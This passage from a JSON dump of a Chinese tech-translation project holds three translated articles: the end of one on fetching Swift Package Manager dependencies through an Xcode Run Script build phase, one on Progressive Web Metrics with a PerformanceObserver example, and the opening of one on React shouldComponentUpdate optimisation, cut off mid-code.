值。这个 hash 值是可能会变化的，并且据我所知，该路径的格式未在文档中提及而且随时可能改变。\n\n因此，我们不能直接将 Xcode 项目中的路径直接指向上述的目录。我们需要创建一个稳定的符号链接（symlink）而不是依赖可能变化的实际路径。这意味着我们需要想一个简单的办法来确定当下的路径。\n\n我们能在文档定义范围内找到的最靠谱的解决路径问题的方案，源于以下这条指令：\n\n```\nswift package show-dependencies --format json\n\n```\n\n这条指令会输出一条 JSON 结构的信息，其中包含了模块名和 checkout 的路径。尽管我们没法保证该结构能保持可靠，但 **就目前来说** 它在 3.0 到 3.1 版本中都表现良好，这可比遍历整个目录结构好多了。\n\n我们需要将符号链接从一个稳定路径细化为 JSON 文件中所描述的具体路径。\n\n我选择用 “./.build/cwl_symlinks/ModuleName” 路径来存储包含 Swift 3.0 以及 3.1 版本的包管理工具所使用的具体路径的符号链接。尽管这样可能出现依赖模块同名但不同源、不同版本的冲突风险，但若不考虑这细微的可能，该路径应该能稳定地指引 Xcode 找到其依赖项。如果我更新了依赖库的版本或是 hash 值改变了（我常出于测试目的，在本地分支和远端分支间切换）或是其它因素导致路径变化了，我们只需要更新符号链接就可以了。\n\n想让 Xcode 引用符号链接来间接获取路径，而不是立刻解析符号链接还有些棘手。在使用 Swift 3.1 版本的时候，我实际上还在 “./.build/cwl_symlinks/ModuleName” 目录下拷贝了一分 “./.build/checkout/ModuleName-XXXXXXXX” 目录，并将所有文件拖入 Xcode 中，然后再删除该份拷贝，并在 “./.build/cwl_symlinks/ModuleName” 目录下创建指向 “./.build/checkout/ModuleName-XXXXXXXX” 的符号链接。\n\n### 3. 确保操作对用户的不可见性 ###\n\n现在，我们有以下两个对用户可见的操作需要消除：\n\n1. 获取依赖时执行的 `swift package fetch` 指令。\n2. 在稳定的目录下，为所有动态获取的依赖创建符号链接文件。\n\n要达到目标，我们需要写一个自动化脚本。\n\n## 自动化脚本 ##\n\n我们需要为所有有外部依赖的 Xcode 项目添加一个用来“运行脚本”的构建阶段（“Run Script” build phase）。\n\n当你为 Xcode 添加“运行脚本”的构建阶段时，它默认指向 “/bin/sh”。由于我对 bash 相关指令不熟，所以我把构建阶段的 “Shell” 值改为 “/usr/bin/xcrun –sdk macosx swift”（这么做是因为即便构建目标是 iOS 或其它平台，我仍然需要保证使用了 macOS SDK）并将下列代码添加到脚本中。其中的一些解析和配置逻辑或许有些复杂，但配合注释你应该可以理解大致的思路。\n\n```\nimport Foundation\n\n/// Launch a process and run to completion, returning the standard out on success.\nfunc launch(_ command: String, _ args: [String], directory: String? = nil) -> String? {\n   let proc = Process()\n   proc.launchPath = command\n   proc.arguments = args\n   _ = directory.map { proc.currentDirectoryPath = $0 }\n   let pipe = Pipe()\n   proc.standardOutput = pipe\n   proc.launch()\n   let result = String(data: pipe.fileHandleForReading.readDataToEndOfFile(),\n      encoding: .utf8)!\n   proc.waitUntilExit()\n   return proc.terminationStatus != 0 ? nil : result\n}\n\nlet srcRoot = ProcessInfo.processInfo.environment[\"SRCROOT\"]!\n\n// STEP 1: use `swift package fetch` to get all dependencies\nprint(launch(\"/usr/bin/swift\", [\"package\", \"fetch\"], directory: srcRoot)!)\n\n// Create a symlink only if it is not already present and pointing to the destination\nlet symlinksPath = \"\\(srcRoot)/.build/cwl_symlinks\"\nfunc createSymlink(srcRoot: String, name: String, destination: String) throws {\n   let location = \"\\(symlinksPath)/\\(name)\"\n   let link = \"../../\\(destination)\"\n   if (try? FileManager.default.destinationOfSymbolicLink(atPath: location)) != link {\n      _ = try? FileManager.default.removeItem(atPath: location)\n      try FileManager.default.createSymbolicLink(atPath: location, withDestinationPath:\n         link)\n      print(\"Created symbolic link: \\(location) -> \\(link)\")\n   }\n}\n\n// Recursively parse the dependency graph JSON, creating symlinks in our own location\nfunc createSymlinks(srcRoot: String, description: Dictionary<String, Any>, topLevelPath:\n   String) throws {\n   guard let dependencies = description[\"dependencies\"] as? [Dictionary<String, Any>]\n      else { return }\n   for dependency in dependencies {\n      let path = dependency[\"path\"] as! String\n      let relativePath = path.substring(from: path.range(of: topLevelPath)!.upperBound)\n      let name = dependency[\"name\"] as! String\n      try createSymlink(srcRoot: srcRoot, name: name, destination: relativePath)\n      try createSymlinks(srcRoot: srcRoot, description: dependency, topLevelPath:\n         topLevelPath)\n   }\n}\n\n// STEP 2: create symlinks from our stable locations to the fetched locations\nlet descriptionString = launch(\"/usr/bin/swift\", [\"package\", \"show-dependencies\",\n   \"--format\", \"json\"], directory: srcRoot)!\nlet descriptionData = descriptionString.data(using: .utf8)!\nlet description = try JSONSerialization.jsonObject(with: descriptionData, options: [])\n   as! Dictionary<String, Any>\nlet topLevelPath = (description[\"path\"] as! String) + \"/\"\ndo {\n   try FileManager.default.createDirectory(atPath: symlinksPath,\n      withIntermediateDirectories: true, attributes: nil)\n   try createSymlinks(srcRoot: srcRoot, description: description, topLevelPath:\n      topLevelPath)\n   print(\"Complete.\")\n} catch {\n   print(error)\n}\n```\n\n编译运行这段代码大概会花掉一秒钟时间，时间不长，但如果能在首次运行后就省去这段时间就更好了。你可以向运行脚本的 “Input Files” 列表中添加 `$(SRCROOT)/Package.swift` 并为每个 Swift 包管理工具所获取到的依赖添加一个 `$(SRCROOT)/.build/cwl_symlinks/ModuleName` （ModuleName 是获取到的模块名）。这就能避免 Xcode 在 “Package.swift” 没有改变或模块符号链接未被删除时反复运行脚本，如此便可以节省一秒的编译时间。\n\n> **说着有点讽刺：** 为了避免静态包含依赖项，我转而在每个仓库中静态包含了这个文件。\n\n## 来试试看吧 ##\n\n你可以查看或下载 GitHub 上的 [CwlCatchException](https://github.com/mattgallagher/CwlCatchException)、[CwlPreconditionTesting](https://github.com/mattgallagher/CwlPreconditionTesting)、[CwlUtils](https://github.com/mattgallagher/CwlUtils) 以及 [CwlSignal](https://github.com/mattgallagher/CwlSignal) 工程。这些工程现在支持在 macOS 上用 Swift 包管理工具进行构建。理论上说，Swift 包管理工具为这其中某些库在 Linux 上运行提供了可能，但这部分内容我们留到下次探索。\n\n这是一次对这些仓库的实验性变更。出于某些原因，我可能犯下了一些错误或是忽略了更好地选择。如果你遇到任何问题或是有任何更好的建议，欢迎在 GitHub 上提交 issue。\n\n## 总结 ##\n\n能把 git subtree 的依赖包含方案替换成一个更动态的方案，我十分开心。\n\n我还十分庆幸有 Swift 包管理工具的支持。它暂时还不支持 Linux（别急嘛）但它的工作流程确实流畅（虽然要修改一大堆路径配置）而且不会特别难用。\n\n如果能够将所有用例都完全转为依赖 Swift 包管理工具，那么事情就变简单了、结构也就更清晰了。但可惜，现版本的 Swift 包管理工具还无法处理大量不同的构建场景（包含其它应用以及在 iOS/watchOS/tvOS 平台构建），所以将 Xcode 当作首选构建环境还是相当必要的，但这意味着你需要集成两者。\n\n“运行脚本”的构建阶段很好的隐藏了拉取依赖的过程。尽管没有网络连接时，首次构建会失败，但正常情况下它应该是不可见的，不需要特殊处理。为“运行脚本”的构建阶段设置好 “Input Files” 和 “Output Files”，能够消除绝大部分场景下构建和运行阶段所产生的额外消耗，因此其不会产生太多影响。\n\n但我确实担心，在 Swift 包管理工具如此频繁的更新率下，这个构建脚本会很容易失效。我知道今后我要时刻关注 Swift 包管理工具的更新 - 尤其是任何可能影响到 `swift package show-dependencies --format json` 输出结果的。"
  },
  {
    "path": "TODO/performance-metrics-whats-this-all-about.md",
    "content": "\n> * 原文地址：[Performance metrics. What’s this all about?](https://codeburst.io/performance-metrics-whats-this-all-about-1128461ad6b)\n> * 原文作者：[Artem Denysov](https://codeburst.io/@denar90?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/performance-metrics-whats-this-all-about.md](https://github.com/xitu/gold-miner/blob/master/TODO/performance-metrics-whats-this-all-about.md)\n> * 译者：[llp0574](https://github.com/llp0574)\n> * 校对者：[ppp-man](https://github.com/ppp-man)，[lampui](https://github.com/lampui)\n\n# 性能指标都是些什么鬼?\n\n![](https://cdn-images-1.medium.com/max/1000/1*hT4ixOXHZ8KRZ3YfbpAxbg.png)\n\n测量页面的加载性能是一项艰难的任务。因此 [Google Developers](https://medium.com/@googledevs) 正和社区一起致力于建立渐进式网页指标（Progressive Web Metrics，简称 PWM’s）。\n\nPWM’s 都是些什么，我们为什么需要它们？\n\n先来讲一点关于浏览器指标的历史。\n\n此前我们有两个主要的点（事件）来测量性能：\n\n`DOMContentLoaded` — 页面加载完成但脚本文件刚刚开始执行时触发（译者注：这里指初始的 HTML 文档加载并解析完成，但不包括样式表、图像和子框架的加载完成，参考 [MDN DOMContentLoaded 事件](https://developer.mozilla.org/zh-CN/docs/Web/Events/DOMContentLoaded)）。\n\n`load` 事件在页面完全加载后触发，此时用户已经可以使用页面或应用。\n\n举个例子，如果我们看一下 [reddit.com 的跟踪时间轴](https://chromedevtools.github.io/timeline-viewer/?loadTimelineFromURL=drive://0ByCYpYcHF12_YjBGUTlJR2gzcHc)（Chrome 的开发者工具可以帮助我们用蓝色和红色的垂直线来标记那些点），就可以明白为什么这些指标不是那么有用了。\n\n![timeline trace of reddit.com](https://cdn-images-1.medium.com/max/1000/1*hFyHeo1-iI62aMQT8P8ORw.png)\n\n> 时至今日，我们可以看到 `window.onload` 并不像以前那样能真实反映出用户的体验了。\n\n> —— [Steve Souders](https://medium.com/@souders)，[Moving beyond window.onload()](https://www.stevesouders.com/blog/2013/05/13/moving-beyond-window-onload/) (2013)\n\n确实，`DOMContentLoaded` 的问题在于不包含解析和执行 JavaScript 的时间，如果脚本文件太大，那么这个时间就会非常长。比如移动设备，在 3G 网络的限制下测量跟踪时间轴，就会发现要花费差不多十秒才能到达 `load` 点。\n\n另一方面，`load` 事件太晚触发，就无法分析出页面的性能瓶颈。\n\n所以我们能否依赖这些指标？它们到底给我们提供了什么信息？\n\n而且最主要的问题是，从页面开始加载直至加载完成，**用户对这个过程的感知如何**？\n\n为什么加载感知会如此重要？可以参考 [Chrome Developers](https://medium.com/@ChromiumDev) 上的一篇文章：[Leveraging the Performance Metrics that Most Affect User Experience](https://developers.google.com/web/updates/2017/06/user-centric-performance-metrics)，其再次强调了 `load` 的问题。\n\n看一下下方柱状图，其 X 轴展示了加载时长，Y 轴展示了实际加载时长在特定时间区间里的用户的相对数量，你就可以明白不是所有用户的体验到的加载时间都会小于两秒。\n\n![](https://cdn-images-1.medium.com/max/1000/1*gw7eB5MF4SDAk1TGHSUlkg.png)\n\n因此在我们的试验里，17 秒左右的 `load` 事件在了解用户加载感知方面是没有什么价值的。用户在这 17 秒里到底看到了什么？白屏？加载了一半的页面？页面假死（用户无法点击输入框或滚动）？如果这些问题有答案的话：\n\n1. 可以改善用户体验\n2. 给应用带来更多的用户\n3. 增加产品所有者的利益（用户、消费者、钱）\n\n* * *\n\n所以，大家都在尝试解读用户的想法并预测用户在这 17 秒的加载时间里会想些什么。\n\n1. “**它正在运行吗？**”\n\n我的网页开始载入了吗（服务器有回应，等等）？\n\n2. “**它有用吗？**”\n\n页面上是否有足够关键的内容使我能够理解？\n\n3. “**它可以使用了吗？**”\n\n我能不能和页面互动了呢？还是它依旧处于加载状态？\n\n4. “**用户体验良好吗？**”\n\n我是否因没有出现滚动卡顿、动画卡顿、无样式内容闪烁和 Web 字体文件加载缓慢等问题而感到惊喜？\n\n* * *\n\n如果 `DOMContentLoaded` 或者 `load` 指标不能回答这些问题，那么什么指标可以回答？\n\n## 渐进式网页指标（Progressive Web Metrics）\n\nPWM’s 是一组用来帮助检测性能瓶颈的指标。除开 `load` 和 `DOMContentLoaded`，PWM's 给开发者提供了页面加载过程中更多更详细的信息。\n\n下面让我们用 reddit.com 的跟踪时间轴来探究一下 PWM’s，并尝试弄明白每个指标的意思。\n\n![Timeline trace of reddit.com measured using ChromeDevTools](https://cdn-images-1.medium.com/max/1000/1*-zjNpHphoKaaZJgG7omu2w.png)\n\n* * *\n\n### 首次绘制（First Paint，FP）\n\n我曾经说我们只有两个指标，这其实不太准确。（Chrome）开发者工具还给我们提供了一个指标 - FP。这个指标表示页面绘制的时间点，换句话说它表示当用户第一次看到白屏的时间点（下面是 msn.com 的 FP 截屏）。可以在[规范说明](https://github.com/w3c/paint-timing)里阅读更多相关内容。\n\n![First Paint of msn.com](https://cdn-images-1.medium.com/max/800/1*IuI-OeOiJByd_kbOnQ4T6A.png)\n\n为了弄明白它是如何工作的，我们以 Chromium 中 Graphic Layer 的底层实现作为例子（译者注：关于GraphicsLayer，可以参考 [WEBKIT 渲染不可不知的这四棵树](https://juejin.im/entry/57f9eb9e0bd1d00058bc0a1b)或[无线性能优化：Composite](http://taobaofed.org/blog/2016/04/25/performance-composite/) 中相关内容）。\n\n![Simplified Chromium Graphics Layer](https://cdn-images-1.medium.com/max/800/1*w0ejDtPxaRfJsyGRgoE02A.png)\n\nFP 事件在 Graphic Layer 进行绘制的时候触发，而不是文本、图片或 Canvas 绘制的时候，但它也给出了一些开发者尝试使用的信息。\n\n然而它并不是标准指标，所以测量就变得非常棘手。因此用到了一些不同的 “取巧” 技术，比如：\n\n* 使用 `requestAnimationFrame` \n* 捕捉 CSS 资源加载\n* 甚至使用 `DOMContentLoaded` 和 `load` 事件（它们的问题之前已经讲过）\n\n尽管做出了这些努力，但它实际并没有太大的价值，因为文本、图片和 Canvas 可能在 FP 事件触发一段时间后才会进行绘制，而这个时间间隔会受到诸如页面体积、CSS 或 JavaScript 资源大小等性能瓶颈所影响。\n\n> 这个指标不属于 PWM 的一部分，但它对于理解下面将要讲到的指标很有帮助。\n\n所以需要其他一些指标来表示真实的内容绘制。\n\n### **首次内容绘制（First Contentful Paint，FCP）**\n\n这是当用户看见一些“内容”元素被绘制在页面上的时间点。和白屏是不一样的，它可以是文本的首次绘制，或者 SVG 的首次出现，或者 Canvas 的首次绘制等等。\n\n因此，用户可能会产生疑问，**它正在运行吗？** 页面是否在他（她）键入 URL 并按 enter 键后开始加载了呢？\n\n![First Paint vs First Contentful Paint of msn.com](https://cdn-images-1.medium.com/max/800/1*UduDmCWTDefC6CHubA-lTQ.png)\n\n继续看一下 Chromium，FCP 事件在文本（正在等待字体文件加载的文本不计算在内）、图片、Canvas 等元素绘制时被触发。结果表明，FP 和 FCP 的时间差异可能从几毫秒到几秒不等。这个差别甚至可以从上面的图片中看出来。这就是为什么用一个指标来表示真实的首次内容绘制是有价值的。\n\n> 你可以从[这里](https://docs.google.com/document/d/1kKGZO3qlBBVOSZTf-T8BOMETzk3bY15SC-jsMJWv4IE/edit#)阅读所有的规范说明。\n\n**FCP 指标如何对开发者产生价值？**\n\n如果**首次内容绘制**前耗时太长，那么：\n\n* 你的网络连接可能有性能问题\n* 资源太过庞大（如 index.html），传输它们消耗太多时间\n\n阅读 [Ilya Grigorik](https://medium.com/@igrigorik) 写的 [High Performance Browser Networking](https://hpbn.co/) 了解更多关于网络性能的问题，以消除这些因素的影响。\n\n* * *\n\n### 首次有意义绘制（First Meaningful Paint，FMP）\n\n这是指页面主要内容出现在屏幕上的时间点，因此——**它有用吗？**\n\n![First Paint vs First Contentful Paint vs First Meaningful Paint of msn.com](https://cdn-images-1.medium.com/max/800/1*835Kq5Mzw87L8XRoXXyKIw.png)\n\n主要内容是什么？\n\n当\n\n* 博客的标题和文本\n* 搜索引擎的搜索文本\n* 电子商务产品中重要的图片\n\n展示的时候。\n\n但如果展示的是\n\n* 下拉菜单或类似的东西\n* 无样式内容闪烁（FOUC）\n* 导航条或页面标题\n\n则**不计算**在主要内容之内。\n\n> FMP = 最大布局变化时的绘制\n\n基于 Chromium 的实现，这个绘制是使用 [LayoutAnalyzer](https://code.google.com/p/chromium/codesearch#chromium/src/third_party/WebKit/Source/core/layout/LayoutAnalyzer.h&sq=package:chromium&type=cs) 进行计算的，它会收集所有的布局变化，得到布局发生最大变化时的时间。而这个时间就是 FMP。\n\n> 你可以从[这里](https://docs.google.com/document/d/1BR94tJdZLsin5poeet0XoTW60M0SjvOJQttKT-JK8HI/edit#)阅读所有的规范说明。\n\n**FMP 指标如何对开发者产生帮助？**\n\n如果主要内容很久都没有展示出来，那么：\n\n* 太多资源（图片、样式、字体、JavaScript）有较高的加载优先级，因此，它们阻塞了 FMP\n\n我不想重复太多已有的用来提升这些瓶颈的实践方法，给大家留出一些链接：\n\n* [Addy Osmani](https://medium.com/@addyosmani) 的 [Preload, Prefetch And Priorities in Chrome](https://medium.com/reloading/preload-prefetch-and-priorities-in-chrome-776165961bbf)\n* [Ben Schwarz](https://medium.com/@benschwarz) 的 [Critical Request](https://css-tricks.com/the-critical-request/)\n* [Karolina Szczur](https://medium.com/@fox) 的 [The State of the Web](https://medium.com/@fox/talk-the-state-of-the-web-3e12f8e413b3)\n* [Paul Irish](https://medium.com/@paul_irish) 和 [Sam Saccone](https://medium.com/@samccone) 的 [Practical Performance (Polymer Summit 2016)](https://youtu.be/6m_E-mC0y3Y) \n\n从这些文章里可以找到所有需要的信息。\n\n* * *\n\n### 视觉上准备好\n\n当页面看上去“接近”加载完成，但浏览器还没有执行完所有脚本文件的时候。\n\n* * *\n\n### 预计输入延迟\n\n这个指标意在估计应用对于用户输入的响应有多流畅。\n\n但在深入研究前，我想通过解释一些术语以便大家在理解上同步。\n\n**长任务**\n\n浏览器底层将所有用户输入打包在一个任务里（UI 任务），并将它们放到主线程的一个队列里。除此之外，浏览器还必须解析、编译并执行页面上的 JavaScript 代码（应用任务）。如果每个应用任务要耗费很长时间的话，那么用户输入任务就可能受到阻塞，直到这些应用任务执行完成。因此它就会延迟与页面的交互，页面就会表现出卡顿和延迟。\n\n简单来说，长任务就是指解析、编译或执行 JavaScript 代码块的耗时大于 50 毫秒。\n\n> 你可以从[这里](https://w3c.github.io/longtasks/)阅读所有的规范说明。\n\n长任务 API 已经在 Chrome 里[实现](https://www.chromestatus.com/feature/5738471184400384)，并用作测量主线程的繁忙程度。\n\n![](https://cdn-images-1.medium.com/max/1000/1*JUlxNXlme70nrChpYw6idQ.png)\n\n回到预计输入延迟，用户会假设页面响应很快，但如果主线程正忙于处理各个长任务，那么就会让用户不满意。对于应用来说，用户体验至关重要，可以从 [Measure Performance with the RAIL Model](https://developers.google.com/web/fundamentals/performance/rail) 这篇文章里阅读关于这种类型的性能瓶颈如何进行性能提升。\n\n* * *\n\n### 首次可交互\n\n可交互 - **它可以使用了吗？** 是的，这是当用户看见视觉上准备好的页面时提出的问题，他们希望能与页面产生交互。\n\n首次可交互发生需满足以下条件：\n\n* *FMP*\n* &&\n* [DOMContentLoaded](https://developer.mozilla.org/ru/docs/Web/Events/DOMContentLoaded) 事件被触发\n* &&\n* 页面视觉完成度在 85%\n\n首次可交互 - 这个指标可以拆分成两个指标，首次可交互的时间（Time to First Interactive，TTFI）和首次可持续交互的时间（Time to First Consistently Interactive，TTCI）。\n\n拆分的原因在于：\n\n* 定义最小程度的可交互，当 UI 响应良好时满足可交互，但如果响应不好也可以接受\n* 当网站完全的、令人愉悦的可交互，并严格遵循 [RAIL](https://developers.google.com/web/fundamentals/performance/rail) 的指导原则时\n\n**TTCI**\n\n![](https://cdn-images-1.medium.com/max/800/0*6qzJAADPmBaNSwFw.)\n\n使用逆序分析，从追踪线的尾端开始看，发现页面加载活动保持了 5 秒的安静并且再无更多的长任务执行，得到了一段叫做**安静窗口**的时期。安静窗口之后的第一个长任务（从结束时间向前开始算）之前的时间点就是 **TTCI**（译者注：这里是将整个时间线反转过来看的，实际表示的是安静窗口前，最接近安静窗口的长任务的结束时间）。\n\n**TTFI**\n\n![](https://cdn-images-1.medium.com/max/800/0*xWGGBiXh0pLiPeuk.)\n\n这个指标的定义和 TTCI 有一点不同。我们从头至尾来分析跟踪时间轴。在 FMP 发生后有一个 3 秒的安静窗口。这个时间已经足够说明页面对于用户来说是可交互的。但可能会有**独立任务**在这个安静窗口期间或之后开始执行，它们可以被忽略。\n\n> **独立任务** - 将 250ms 中执行的多个任务视为一个任务，当一个任务距离 FMP 很远才执行，且在这个任务前后均有一个 1 秒的安静期，则其为一个“独立任务”。举例来说，这个任务可能是第三方广告或者分析脚本。\n\n> 有时长于 250 毫秒的“独立任务”会对页面性能有严重的影响。\n\n> 比如检测**adblock**\n\n> 你可以从[这里](https://docs.google.com/document/d/1GGiI9-7KeY3TPqS3YT271upUVimo-XiL5mwWorDUD4c/edit#)阅读所有的规范说明。\n\n**TTFI 和 TTCI 指标如何对开发者产生帮助？**\n\n当线程在**视觉上准备好**和**首次可交互**之间忙碌了很长时间的时候\n\n![](https://cdn-images-1.medium.com/max/800/1*_uAiHAv4-bpoMFYqgbBKcQ.png)\n\n这是其中一个最复杂的瓶颈，并且没有标准方法来修复这类型的问题。它是独立的，而且取决于应用的特定情况。[Chrome 开发者工具](https://developer.chrome.com/devtools)有一系列[文章](https://developers.google.com/web/tools/chrome-devtools/evaluate-performance/)帮助我们检测运行时的性能问题。\n\n* * *\n\n### 视觉上完成 / 速度指数\n\n**视觉上完成**是通过页面截图来计算的，并使用[速度指数算法](https://sites.google.com/a/webpagetest.org/docs/using-webpagetest/metrics/speed-index)来对那些截图进行像素分析。有时候测量是否**视觉上完成**也是一件棘手的事情。\n\n> 如果页面里有会发生变化的图片如轮播图，那么获取正确的视觉上完成结果就可能有点挑战了。\n\n**速度指数**本身表示**视觉上完成**结果的中值。**速度指数**的值越小，性能就越好。\n\n视觉上 100% 完成是一个最终点，决定了用户对页面是否感到满意。这个时间也是用来回答问题 - **用户体验良好吗？**\n\n* * *\n\n## 总结\n\n上述并不是所有的 PWM，但是最重要的一部分。上面的指标都增加了一些资料链接，帮助我们更好地提升它们，另外，我还想留出一些关于测量这些类型指标的工具链接：\n\n* [Web Pagetest](https://www.webpagetest.org/about)\n* [Lighthouse](https://github.com/GoogleChrome/lighthouse/)\n* [pwmetrics](https://github.com/paulirish/pwmetrics)\n* [Calibre](https://calibreapp.com/)\n* [DevTools Timeline Viewer](https://chromedevtools.github.io/timeline-viewer/)\n\nP.S. 要获得所有这些指标的结果的话，我推荐使用 Lighthouse 或 pwmetrics。Calibre 和 WPT 都可以运行 Lighthouse，并可以通过扩展提供所有这些指标。\n\n如果你想手动测量性能，有一个原生 API，叫 [PerformanceObserver](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceObserver)，它可以帮助你实现你的测量目标。\n\n从[规范说明](https://w3c.github.io/performance-timeline/)里截取的示例：\n\n```\nconst observer = new PerformanceObserver(list => {\n  list\n    .getEntries()\n    // Get the values we are interested in\n    .map(({ name, entryType, startTime, duration }) => {\n      const obj = {\n        \"Duration\": duration,\n        \"Entry Type\": entryType,\n        \"Name\": name,\n        \"Start Time\": startTime,\n      };\n      return JSON.stringify(obj, null, 2);\n    })\n    // Display them to the console\n    .forEach(console.log);\n  // maybe disconnect after processing the events.\n  observer.disconnect();\n});\n// retrieve buffered events and subscribe to new events\n// for Resource-Timing and User-Timing\nobserver.observe({\n  entryTypes: [\"resource\", \"mark\", \"measure\"],\n  buffered: true\n});\n```\n\n感谢所有工作人员，他们在规范说明、文章和工具上做了很出色的工作！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/performance-optimisations-for-react-applications.md",
    "content": ">* 原文链接 : [Performance optimisations for React applications](https://medium.com/@alexandereardon/performance-optimisations-for-react-applications-b453c597b191#.cymwuepwo)\n* 原文作者 : [Alex Reardon](https://medium.com/@alexandereardon)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [woota](https://github.com/woota)\n* 校对者: [malcolmyu](https://github.com/malcolmyu), [Zheaoli](https://github.com/Zheaoli)\n\n# React 应用的性能优化之路\n\n![](http://ww2.sinaimg.cn/large/0060lm7Tgw1f47ucaolgzj31jk0lmtcc.jpg)\n\n#### 要点梗概\n\nReact 应用主要的性能问题在于多余的处理和组件的 DOM 比对。为了避免这些性能陷阱，你应该尽可能的在 **shouldComponentUpdate** 中返回 **false** 。\n\n简而言之，归结于如下两点：\n\n1.  _加速_ **shouldComponentUpdate** 的检查\n2.  _简化_ **shouldComponentUpdate** 的检查\n\n#### 免责声明！\n\n文章中的示例是用 React + Redux 写的。如果你用的是其它的数据流库，原理是相通的但是实现会不同。\n\n在文章中我没有使用 immutability (不可变)库，只是一些普通的 es6 和一点 es7。有些东西用不可变数据库要简单一点，但是我不准备在这里讨论这一部分内容。\n\n## React 应用的主要性能问题是什么？\n\n1.  组件中那些不更新 DOM 的冗余操作\n2.  DOM 比对那些无须更新的叶子节点  \n    - 虽则 DOM 比对很出色并加速了 React ，但计算成本是不容忽视的\n\n## React 默认的渲染行为是怎样的？\n\n我们来看一下 React 是如何渲染组件的。\n\n#### 初始化渲染\n\n在初始化渲染时，我们需要渲染整个应用  \n（绿色 ＝ 已渲染节点）\n\n![](http://ww2.sinaimg.cn/large/0060lm7Tgw1f47uc09colj318g0haacs.jpg)\n\n每一个节点都被渲染 —— 这很赞！现在我们的应用呈现了我们的初始状态。\n\n#### 提出改变\n\n我们想更新一部分数据。这些改变只和一个叶子节点相关\n\n![](http://ww4.sinaimg.cn/large/0060lm7Tgw1f47ubbtpw1j318g0haju7.jpg)\n\n#### 理想更新\n\n我们只想渲染通向叶子节点的关键路径上的这几个节点\n\n![](http://ww2.sinaimg.cn/large/0060lm7Tgw1f47ub7ewwsj318g0ha773.jpg)\n\n#### 默认行为\n\n如果你不告诉 React 别这样做，它便会如此  \n（橘黄色 ＝ 浪费的渲染）\n\n![](http://ww3.sinaimg.cn/large/0060lm7Tgw1f47ubiztaxj318g0hagoe.jpg)\n\n哦，不！我们所有的节点都被重新渲染了。\n\nReact 的每一个组件都有一个 **shouldComponentUpdate(nextProps, nextState)** 函数。它的职责是当组件需要更新时返回 **true** ， 而组件不必更新时则返回 **false** 。返回 **false** 会导致组件的 **render** 函数不被调用。React 总是默认在 **shouldComponentUpdate** 中返回 **true**，即便你没有显示地定义一个 **shouldComponentUpdate** 函数。\n\n```javascript\n// 默认行为\nshouldComponentUpdate(nextProps, nextState) {\n    return true;\n}\n```\n\n这就意味着在默认情况下，你每次更新你的顶层级的 **props**，整个应用的每一个组件都会渲染。这是一个主要的性能问题。\n\n## 我们如何获得理想的更新？\n\n尽可能的在 **shouldComponentUpdate** 中返回 **false** 。\n\n简而言之：\n\n1.  _加速_ **shouldComponentUpdate** 的检查\n2.  _简化_ **shouldComponentUpdate** 的检查\n\n## 加速 shouldComponentUpdate 检查\n\n理想情况下我们不希望在 **shouldComponentUpdate** 中做深等检查，因为这非常昂贵，尤其是在大规模和拥有大的数据结构的时候。\n\n```javascript\nclass Item extends React.component {\n    shouldComponentUpdate(nextProps) {\n      // 这很昂贵\n      return isDeepEqual(this.props, nextProps);\n    }\n    // ...\n}\n```\n\n一个替代方法是_只要对象的值发生了变化，就改变对象的引用_。\n\n```javascript\nconst newValue = {\n    ...oldValue\n    // 在这里做你想要的修改\n};\n\n// 快速检查 —— 只要检查引用\nnewValue === oldValue; // false\n\n// 如果你愿意也可以用 Object.assign 语法\nconst newValue2 = Object.assign({}, oldValue);\n\nnewValue2 === oldValue; // false\n```\n\n在 Redux reducer 中使用这个技巧：\n\n```javascript\n// 在这个 Redux reducer 中，我们将改变一个 item 的 description\nexport default (state, action) {\n\n    if(action.type === 'ITEM_DESCRIPTION_UPDATE') {\n\n        const { itemId, description } = action;\n\n        const items = state.items.map(item => {\n            // action 和这个 item 无关 —— 我们可以不作修改直接返回这个 item\n            if(item.id !== itemId) {\n              return item;\n            }\n\n            // 我们想改变这个 item\n            // 这会保留原本 item 的值，但\n            // 会返回一个更新过 description 的新对象\n            return {\n              ...item,\n              description\n            };\n        });\n\n        return {\n          ...state,\n          items\n        };\n    }\n\n    return state;\n}\n```\n\n如果你采用这个方法，那你只需在 **shouldComponentUpdate** 函数中作引用检查\n\n```javascript\n// 超级快 —— 你所做的只是检查引用！\nshouldComponentUpdate(nextProps) {\n    return isObjectEqual(this.props, nextProps);\n}\n```\n\n**isObjectEqual** 的一个实现示例\n\n```javascript\nconst isObjectEqual = (obj1, obj2) => {\n    if(!isObject(obj1) || !isObject(obj2)) {\n        return false;\n    }\n\n    // 引用是否相同\n    if(obj1 === obj2) {\n        return true;\n    }\n\n    // 它们包含的键名是否一致？\n    const item1Keys = Object.keys(obj1).sort();\n    const item2Keys = Object.keys(obj2).sort();\n\n    if(!isArrayEqual(item1Keys, item2Keys)) {\n        return false;\n    }\n\n    // 属性所对应的每一个对象是否具有相同的引用？\n    return item2Keys.every(key => {\n        const value = obj1[key];\n        const nextValue = obj2[key];\n\n        if(value === nextValue) {\n            return true;\n        }\n\n        // 数组例外，再检查一个层级的深度\n        return Array.isArray(value) && \n            Array.isArray(nextValue) && \n            isArrayEqual(value, nextValue);\n    });\n};\n\nconst isArrayEqual = (array1 = [], array2 = []) => {\n    if(array1 === array2) {\n        return true;\n    }\n\n    // 检查一个层级深度\n    return array1.length === array2.length &&\n        array1.every((item, index) => item === array2[index]);\n};\n```\n\n\n## 简化 shouldComponentUpdate 检查\n\n先看一个_复杂_的 **shouldComponentUpdate** 示例\n\n```javascript\n// 